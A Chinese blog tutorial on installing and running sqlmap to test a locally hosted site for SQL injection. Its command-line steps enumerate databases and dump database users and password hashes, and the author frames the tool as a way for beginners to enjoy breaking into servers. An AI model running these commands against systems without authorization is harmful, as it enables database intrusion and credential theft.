python的sql注入工具sqlmap,渗透利器!

作者 : 开心源码 本文共1563个字,预计阅读时间需要4分钟 发布时间: 2022-05-12 共229人阅读

最近小编在测试网站的安全性,所以调研了很多渗透服务器的工具,今天给大家详情一下sql注入的工具,来让少量小白也可以体验到攻破服务器的快感,进行少量安全方面的测试。

之前的文章已经给大家讲解过xss工具的使用,今天主要详情一个sql注入工具,sqlmap,也是一款神器。

首先给大家普及一下sql注入是什么:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后端数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者用意去执行SQL语句。[1] 比方先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

这就是sql注入了,假如网站有这方面的问题,一般都比较严重,基本你的数据库就完蛋了,所有数据都被盗走。

现在中国的大部分互联网公司,在研发过程中都是请不起专门的安全测试人员的,很多都是让普通的测试肉测,肉测的话其实很考验测试人员构造sql的能力,所以今天的这款工具,来帮助大家完成sql注入的安全测试。

安装:

大家可以直接去git 上下载一个安装包 https://github.com/sqlmapproject/sqlmap

但是git上面更推荐用源码方式,

1、首先还是先创立虚拟环境,养成好习惯,不要污染系统:

conda create -n sqlmap python=2.7

python的sql注入工具sqlmap,渗透利器!

注意只支持py2

2、下载源码:

git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

源码下载以后就不用安装了,直接 cd sqlmap-dev 即可以看见里面有

python的sql注入工具sqlmap,渗透利器!

其中里面的sqlmap.py 就主程序员文件了,到此就安装完了,很简单!

使用:

1、通过python sqlmap.py -h 可以查看所有的参数帮助信息:

python的sql注入工具sqlmap,渗透利器!

支持的功能很多,这里筛选少量主要的讲一下。

2、对一个url进行sql注入,小编就不拿自己的网站了,爆出个漏洞多丢人,搭个本地的吧。

python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –batch

python的sql注入工具sqlmap,渗透利器!

里面会自动检测你数据库的版本,很 准!即便没有漏洞也可以挖到很多网站的内部信息。

3、暴库,可以对一个url链接进行暴库,加上–dbs参数。

python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –dbs

python的sql注入工具sqlmap,渗透利器!

看见没有,可以把你的数据库名字爆出来,多猛!

4、查看当前库,加上–current-db参数。

python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –current-db

python的sql注入工具sqlmap,渗透利器!

5、查看数据库的使用客户以及密码,基本就是盗号了,盗数据库的号,加-current-user和–passwords:

python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –current-user

python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –passwords

python的sql注入工具sqlmap,渗透利器!

python的sql注入工具sqlmap,渗透利器!

6、除了这些还可以爆出数据库的所有数据库字段,所有数据库表,所有数据库。

基本你的数据库就被人端了!!哈哈,快测测自己的网站吧。

就详情到这里啦!欢迎关注小编,后续有更多的小白工具哦。

码子不易!!欢迎关注博客。

禁止转载,现在盗版太严重,无语了。

说明
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是摆设,本站源码仅提供给会员学习使用!
7. 如遇到加密压缩包,请使用360解压,如遇到无法解压的请联系管理员
开心源码网 » python的sql注入工具sqlmap,渗透利器!

发表回复